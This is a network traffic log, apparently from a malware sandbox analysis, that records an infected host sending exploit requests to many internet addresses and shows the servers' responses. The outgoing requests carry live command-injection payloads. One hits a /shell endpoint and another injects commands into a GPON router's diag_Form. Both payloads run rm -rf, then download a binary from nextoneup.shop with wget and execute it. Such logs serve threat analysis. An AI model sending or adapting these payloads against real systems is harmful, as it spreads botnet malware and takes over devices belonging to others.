Apr 14, 2024 04:01:52.017326117 CEST	1250	IN	HTTP/1.1 403 Forbidden: Access is denied. Content-Type: text/html Date: Sun, 14 Apr 2024 02:01:51 GMT Connection: close Content-Length: 1233 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 33 20 2d 20 46 6f 72 62 69 64 64 65 6e 3a 20 41 63 63 65 73 73 20 69 73 20 64 65 6e 69 65 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 33 20 2d 20 46 6f 72 62 69 64 64 65 6e 3a 20 41 63 63 65 73 73 20 69 73 20 64 65 6e 69 65 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 59 6f 75 20 64 6f 20 6e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>403 - Forbidden: Access is denied.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>403 - Forbidden: Access is denied.</h2> <h3>You do n
Apr 14, 2024 04:01:52.017363071 CEST	155	IN	Data Raw: 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 76 69 65 77 20 74 68 69 73 20 64 69 72 65 63 74 6f 72 79 20 6f 72 20 70 61 67 65 20 75 73 69 6e 67 20 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 74 68 61 74 20 79 6f 75 20 73 Data Ascii: ot have permission to view this directory or page using the credentials that you supplied.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1782	192.168.2.23	34702	189.50.42.2	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.710411072 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:52.093410015 CEST	212	IN	HTTP/1.1 302 Found Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Thu, 20 Jul 2017 22:54:03 GMT Server: lighttpd/1.4.39

Session ID	Source IP	Source Port	Destination IP	Destination Port
1783	192.168.2.23	47572	164.115.20.18	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.720514059 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:52.085079908 CEST	1289	IN	HTTP/1.1 500 Internal Server Error Content-Length: 29057 Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 62 72 20 2f 3e 3c 62 72 20 2f 3e 3c 68 74 6d 6c 3e 20 3c 68 65 61 64 3e 20 3c 74 69 74 6c 65 3e 20 3c 2f 74 69 74 6c 65 3e 20 3c 2f 68 65 61 64 3e 20 3c 62 6f 64 79 3e 20 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 20 3c 69 6d 67 20 73 72 63 3d 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 56 4d 41 41 41 43 57 43 41 59 41 41 41 42 6a 47 57 76 48 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 46 45 53 53 55 52 42 56 48 68 65 37 5a 30 46 6d 46 78 46 31 6f 59 44 41 5a 61 46 2f 56 6d 46 33 57 56 5a 59 43 46 47 66 44 49 4a 43 66 45 51 4e 36 4a 49 58 43 66 75 4c 73 52 64 69 4c 73 54 49 2b 37 45 33 64 32 56 75 4c 75 37 63 66 35 36 54 2f 63 4e 77 36 52 6e 4d 74 4e 39 65 79 7a 33 34 7a 6e 50 6b 4f 36 2b 4a 61 64 4f 66 58 56 4f 56 64 32 71 4f 4f 4c 41 67 51 4d 48 44 6e 79 47 51 36 59 4f 48 44 68 77 59 41 4d 63 4d 6e 58 67 77 49 45 44 47 2b 43 51 71 51 4d 48 44 68 7a 59 41 49 64 4d 48 54 68 77 34 4d 41 47 4f 47 54 71 77 49 45 44 42 7a 62 41 49 56 4d 48 44 68 77 34 73 41 45 4f 6d 54 70 77 34 4d 43 42 44 58 44 49 31 49 45 44 42 77 35 73 67 45 4f 6d 44 68 77 34 63 47 41 44 48 44 4a 31 34 4d 43 42 41 78 76 67 6b 4b 6b 44 42 77 34 63 32 41 43 48 54 42 30 34 63 4f 44 41 42 6a 68 6b 36 73 43 42 41 77 63 32 77 43 46 54 42 77 34 63 4f 4c 41 42 44 70 6b 36 63 4f 44 41 67 51 31 77 79 4e 53 42 41 77 63 4f 62 49 42 44 70 67 34 63 4f 48 42 67 41 78 77 79 64 65 44 41 67 51 4d 62 34 4a 43 70 41 77 63 4f 48 4e 67 41 68 30 77 64 4f 48 44 67 77 41 59 34 5a 4f 72 41 67 51 4d 48 4e 73 41 68 55 77 63 4f 48 44 69 77 41 51 36 5a 4f 6e 44 67 77 49 45 4e 63 4d 6a 55 67 51 4d 48 44 6d 78 41 72 43 58 54 36 39 65 76 79 2f 48 6a 78 2b 58 41 67 51 4f 79 64 65 73 32 57 62 6c 79 6c 5a 47 56 6f 63 71 4b 46 53 74 6b 31 61 72 56 73 6e 2f 2f 66 76 6e 6c 6c 31 2f 6b 77 6f 55 4c 63 75 50 47 44 58 64 71 44 68 77 34 63 42 41 32 59 67 57 5a 50 6e 33 36 56 50 62 73 33 53 73 4c 46 69 79 51 55 61 4e 47 53 39 65 75 33 65 58 37 37 31 74 4c 7a 5a 71 31 70 47 72 56 61 6c 4b 36 64 46 6b 70 58 4c 68 6f 6d 46 4b 6f 55 42 45 70 55 71 53 59 42 41 56 56 6c 65 72 56 61 30 72 44 68 6f 32 6c 56 61 73 32 30 71 64 50 58 30 31 7a 35 73 78 5a 68 6e 52 58 79 59 6b 54 4a 39 79 35 4f 6e 44 77 47 33 37 39 39 56 63 35 63 2b 32 69 6e 4c 78 79 54 6b 35 64 50 61 39 79 2f 63 34 74 39 37 63 4f 50 43 47 6b 7a 76 68 37 35 76 70 46 39 37 63 78 44 7a 47 57 54 43 39 64 75 69 52 7a 35 38 36 54 62 74 32 36 53 38 31 61 74 61 56 59 73 61 38 6c 62 39 37 38 6b 69 56 4c 4e 76 6e 69 69 77 79 53 4c 6c 31 36 53 5a 4d 6d 72 55 72 61 74 46 38 38 2b 2f 2f 77 79 75 65 66 70 39 4d 30 53 49 73 30 63 2b 62 4d 4a 51 55 4c 46 70 49 53 4a 55 6f 5a 77 71 30 69 54 5a 6f 30 6c 64 47 6a 78 38 6a 32 37 64 76 6c 31 71 32 62 37 6c 4a 35 68 2b 30 6e 39 6b 76 56 30 65 30 6c 58 34 2f 71 6b 68 2f 70 47 63 6e 53 6f 35 6f 55 37 46 6c 54 71 6f 33 71 49 48 55 6d 2f 53 41 4e 70 76 53 52 43 57 76 6e 79 65 4b 39 47 32 58 2f 75 57 50 75 55 6a 6f 41 70 36 39 64 6b 4a 6c 62 6c 6b 6d 33 2b 57 4f 6b 36 6f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><br /><br /><html> <head> <title> </title> </head> <body> <div align="center"> <img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVMAAACWCAYAAABjGWvHAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFESSURBVHhe7Z0FmFxF1oYDAZaF/VmF3WVZYCFGfDIJCfEQN6JIXCfuLsRdiLsTI+7E3d2VuLu7cf56T/cNw6RnMtN9eyz34znPkO6+JadOfXVOVd2qOOLAgQMHDnyGQ6YOHDhwYAMcMnXgwIEDG+CQqQMHDhzYAIdMHThw4MAGOGTqwIEDBzbAIVMHDhw4sAEOmTpw4MCBDXDI1IEDBw5sgEOmDhw4cGADHDJ14MCBAxvgkKkDBw4c2ACHTB04cODABjhk6sCBAwc2wCFTBw4cOLABDpk6cODAgQ1wyNSBAwcObIBDpg4cOHBgAxwydeDAgQMb4JCpAwcOHNgAh0wdOHDgwAY4ZOrAgQMHNsAhUwcOHDiwAQ6ZOnDgwIENcMjUgQMHDmxArCXT69evy/Hjx+XAgQOydes2WblylZGVocqKFStk1arVsn//fvnll1/kwoULcuPGDXdqDhw4cBA2YgWZPn36VPbs3SsLFiyQUaNGS9eu3eX771tLzZq1pGrValK6dFkpXLhomFKoUBEpUqSYBAVVlerVa0rDho2lVas20qdPX01z5sxZhnRXyYkTJ9y5OnDwG3799Vc5c+2inLxyTk5dPa9y/c4t97cOPCGkzvh75vpF97cxDzGWTC9duiRz586Tbt26S81ataVYsa8lb978kiVLNvniiwySLl16SZMmrUratF88+//wyuefp9M0SIs0c+bMJQULFpISJUoZwq0iTZo0ldGjx8j27dvl1q2b7lJ5h+0n9kvV0e0lX4/qkh/pGcnSo5oU7FlTqo3qIHUm/SANpvSRCWvnyeK9G2X/uWPuUjoAp69dkJlblkm3+WOk6o
Apr 14, 2024 04:01:52.085109949 CEST	1289	IN	Data Raw: 53 75 55 6d 68 77 45 36 50 44 47 70 4b 6e 57 31 56 4a 30 62 61 6b 4a 47 33 37 6e 53 51 7a 77 74 2f 41 39 6d 55 6b 62 33 64 30 57 30 4d 71 6a 6d 67 6a 72 57 63 4e 6b 57 47 72 5a 38 6f 57 30 39 36 47 52 31 34 61 51 4a 69 4c 39 32 32 55 49 53 75 6e Data Ascii: SuUmhwE6PDGpKnW1VJ0bakJG37nSQzwt/A9mUkb3d0W0MqjmgjrWcNkWGrZ8oW096GR14aQJiL922UISunS71JvaT04GaqE08649+edLbp2D65fjd6D04xhkyfPHksN2/eNOH4SmnWrLkhtzySOXNWJbvUqT+XwMA0+tciQggUMrQIMX36jOES6xmeD07CpG3lExAQqH8zZsws2bPnlNy58yrBDhgwULZt2y6XL1+WBw8eyK/mv
Apr 14, 2024 04:01:52.085171938 CEST	1289	IN	Data Raw: 4c 44 67 51 61 6c 6c 6a 6c 59 32 6f 67 63 65 4a 6b 5a 69 41 6f 4c 33 66 75 33 48 58 58 7a 44 4f 69 4a 35 6d 47 4a 71 35 4f 6f 55 61 74 34 5a 72 78 30 6b 77 34 39 6d 66 7a 33 61 64 4e 76 35 4c 79 77 37 36 58 55 63 75 6d 79 65 6d 72 46 39 79 31 69 Data Ascii: LDgQalljlY2ogceJkZiAoL3fu3HXXzDOiJ5mGJq5OoUat4Zrx0kw49mfz3adNv5Lyw76XUcumyemrF9y1i/7YfuKAdJs+VNKbNvh7zYy/DRqVIVB3R35OD3ZJMH1CEhVSyB8NyX7QKJ+UGNhUhi/8SQ5Gw3nrQ+ePy5CFEyVdjyB5r05WebWy8SJN2bEJrVdk6QwbNJHCG8aLfa9edsnWs7p0nTFMth3f7y5p5CHakem6deulXr
Apr 14, 2024 04:01:52.085212946 CEST	237	IN	Data Raw: 39 39 7a 7a 35 79 38 6f 71 56 4b 6c 69 5a 56 45 69 6a 68 6b 36 6c 6e 59 62 76 53 47 36 5a 78 66 39 71 30 6a 2b 38 34 64 64 57 76 41 50 37 68 36 2b 36 61 55 48 4e 6c 47 2f 73 39 34 6f 52 42 35 62 4a 74 43 73 55 4c 59 39 78 76 6b 6c 4d 62 54 2b 73 Data Ascii: 99zz5y8oqVKliZVEijhk6lnYbvSG6Zxf9q0j+84ddWvAP7h6+6aUHNlG/s94oRB5bJtCsULY9xvklMbT+sn1u/asXNeb0kv+USebph3d50YjKqoz49Wze6PKqHb6erBdiHQyXbd+veTMmVs330M4nojITnGRGq+Bfq5eMPl6Er5D+C17RH0tm0OmoQuESshVeHATuXz7ulsL9oJ0iwxraXSaSheZPJUjN
Apr 14, 2024 04:01:52.085253954 CEST	1289	IN	Data Raw: 6f 68 46 44 6d 39 58 2f 30 4a 4b 6a 6d 70 6a 36 75 33 39 53 57 64 58 6a 4d 36 61 54 2b 34 6a 62 2b 44 42 6d 54 52 6a 64 35 53 55 53 74 34 30 67 33 72 78 59 63 33 6c 6c 45 31 37 6f 69 4f 56 54 50 66 73 32 53 74 35 38 75 53 58 5a 4d 6c 53 2b 4a 56 Data Ascii: ohFDm9X/0JKjmpj6u39SWdXjM6aT+4jb+DBmTRjd5SUSt40g3rxYc3llE17oiOVTPfs2St58uSXZMlS+JVIIUMIkrlY3kLiRChOjqpapZruYfUkrtOlykjx4t9I3rwF9DleFEiY8LNni2MRKXNUkKl2LN4MKZ80/GI6jes1P+YRPafrD1FPsUpqaTKtvzx8/MitCXvA+/T1J3RXwkY85R/bhHbkXfb647tr/SOKhw8fSa+F4+RP
Apr 14, 2024 04:01:52.085294008 CEST	1289	IN	Data Raw: 30 75 72 78 71 43 39 70 53 58 48 61 49 64 6a 7a 32 4c 62 50 77 33 35 66 36 6a 79 65 73 74 49 2b 39 56 79 79 54 2f 72 4a 37 35 64 38 4a 6e 66 50 64 57 6b 50 48 41 6a 63 66 6f 65 73 5a 36 6a 39 31 7a 2b 72 36 4b 6c 73 38 51 34 37 2f 71 5a 74 66 58 Data Ascii: 0urxqC9pSXHaIdjz2LbPw35f6jyestI+9VyyT/rJ75d8JnfPdWkPHAjcfoesZ6j91z+r6Kls8Q47/qZtfXKJ88Df28z8fGky9n2laPFPTzlIiSpNY/MFw6e7OyIVSjXz08hX21fiZXyvVWlbTSZfZwuXXPO4fMr2RKmEx4nzZtOn1V1BMxRlQgUtJiUWnMmDFy/nz0OZ3o4sWL6h0PGTJMKlcO0sHju+9Kyu3bYe8BtJNM/bE6f
Apr 14, 2024 04:01:52.085333109 CEST	1289	IN	Data Raw: 7a 4d 51 4d 6c 54 75 6b 45 6b 72 64 33 54 5a 6d 2f 66 62 58 63 76 57 2f 2f 6e 50 7a 44 52 77 2f 6c 67 43 46 56 72 69 74 4a 32 4c 4b 49 65 6c 77 52 62 58 2f 64 45 56 48 75 4d 35 31 7a 48 72 74 32 72 6a 77 77 61 62 34 49 65 30 37 39 49 76 6d 37 56 Data Ascii: zMQMlTukEkrd3TZm/fbXcvW//nPzDRw/lgCFVritJ2LKIelwRbX/dEVHuM51zHrt2rjwwab4Ie079Ivm7VNHFP/tOzOIgljQSp8SHkqlzeZm2ZYlc8+EFgtCAE3XyynkZuGq6ZDT5aOgfwakdy4t/p242aWeI1K7TzPxCpqx4sxjDxnk7vFKmCVi5nzVrVpTf8+IPxDQyBfcfPtDJel0csCHkQkjnj9XTyqLd69y5hI1H2Nm47v
Apr 14, 2024 04:01:52.085366964 CEST	237	IN	Data Raw: 66 58 45 5a 75 32 61 32 61 64 38 48 37 6c 2f 61 44 31 76 4a 46 4f 4d 66 4d 2b 5a 48 79 5a 77 35 69 38 38 4c 54 33 69 32 42 51 74 2b 4a 56 75 33 62 6e 57 6e 48 6e 73 52 30 38 6b 55 54 4e 2b 30 52 4e 35 67 54 73 70 48 37 31 54 6e 54 55 32 59 56 6d Data Ascii: fXEZu2a2ad8H7l/aD1vJFOMfM+ZHyZw5i88LT3i2BQt+JVu3bnWnHnsR08kUTN+0RN5gTspH71TnTU2YVmVMR7kfiodIiNZr7mh5rbIJ6Xx8I0sJqmJKydI1SM57+Rqhv8C2r/WHd0qi74tKnFLxJU7p+JK7S0Ul0oiC7WYT187Ts2TjVPZNZ665x5QSv8VXcvCcf+9V8ganrl2Urwc0kjhlEuqi2Oetv
Apr 14, 2024 04:01:52.085405111 CEST	1289	IN	Data Raw: 35 4f 46 32 31 64 48 61 4d 75 64 4e 37 43 56 54 4b 39 64 75 79 5a 74 32 37 59 7a 58 6d 6c 61 6e 2b 5a 4c 49 57 49 57 72 39 67 52 45 4e 75 39 55 68 41 62 79 48 54 2f 75 57 4f 53 38 34 65 61 47 6e 5a 44 55 4a 37 4b 47 52 35 78 64 64 51 41 53 64 44 Data Ascii: 5OF21dHaMudN7CVTK9duyZt27YzXmlan+ZLIWIWr9gRENu9UhAbyHT/uWOS84eaGnZDUJ7KGR5xddQASdDq61CvlmDrVJ4+JsQ3xOBLXgjk/3bdrLLWkFZ0xZL9myV1228lV+cKsu3oXvenEcOt+3ek5LCWEtcMQL6G+OiMbVDjNi5wpx79sP3UQcnYsYwS6ap9m+WJGZj8DVvJdPfu3VKpUmUN8X2ZL+V5tkPNmTPXnXLsRmwg
Apr 14, 2024 04:01:52.085443974 CEST	1289	IN	Data Raw: 4a 4f 5a 55 36 47 39 34 34 59 4e 46 77 31 75 6e 71 76 56 68 59 5a 75 33 4b 32 53 54 48 32 68 36 75 33 48 39 79 52 76 31 56 78 48 64 37 69 39 51 41 45 6d 52 6f 37 36 7a 78 39 53 4b 77 37 74 63 30 75 32 45 61 6d 57 37 64 75 31 31 63 2f 66 5a 6b 76 Data Ascii: JOZU6G944YNFw1unqvVhYZu3K2STH2h6u3H9yRv1VxHd7i9QAEmRo76zx9SKw7tc0u2EamW7du11c/fZkvtfaX1q1bX65evepO2TscPHhQj+wjTa43iWzBu2b+t1KlKpF6bUlUkim0NHfXGonXMJ+Wx1cyrTmu63NkOmPrMnmbhRSTvqdnXyTol2dTtCgms7cufynm/hZsXyV/qsbZpd7pzDVfmsZ4t9llyPKoO7cgusM2Mt22b

Session ID	Source IP	Source Port	Destination IP	Destination Port
1784	192.168.2.23	50126	117.240.126.163	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.881201029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1785	192.168.2.23	48284	2.35.202.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.881247997 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1786	192.168.2.23	42976	165.22.72.163	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:51.996326923 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.180452108 CEST	486	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:01:52 GMT Server: Apache/2.4.29 (Ubuntu) cf-edge-cache: cache,platform=wordpress Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
1787	192.168.2.23	55976	72.52.94.78	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.510468960 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:53.687737942 CEST	896	IN	HTTP/1.1 307 Temporary Redirect Date: Sun, 14 Apr 2024 02:01:53 GMT Location: https://127.0.0.1:10443/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Keep-Alive: timeout=10, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; object-src 'self'; script-src 'self' https: 'unsafe-eval' 'unsafe-inline' blob:; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Data Raw: 31 32 39 20 20 20 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 31 30 34 34 33 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 68 65 72 65 3c 2f 41 3e 2e 3c 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 129 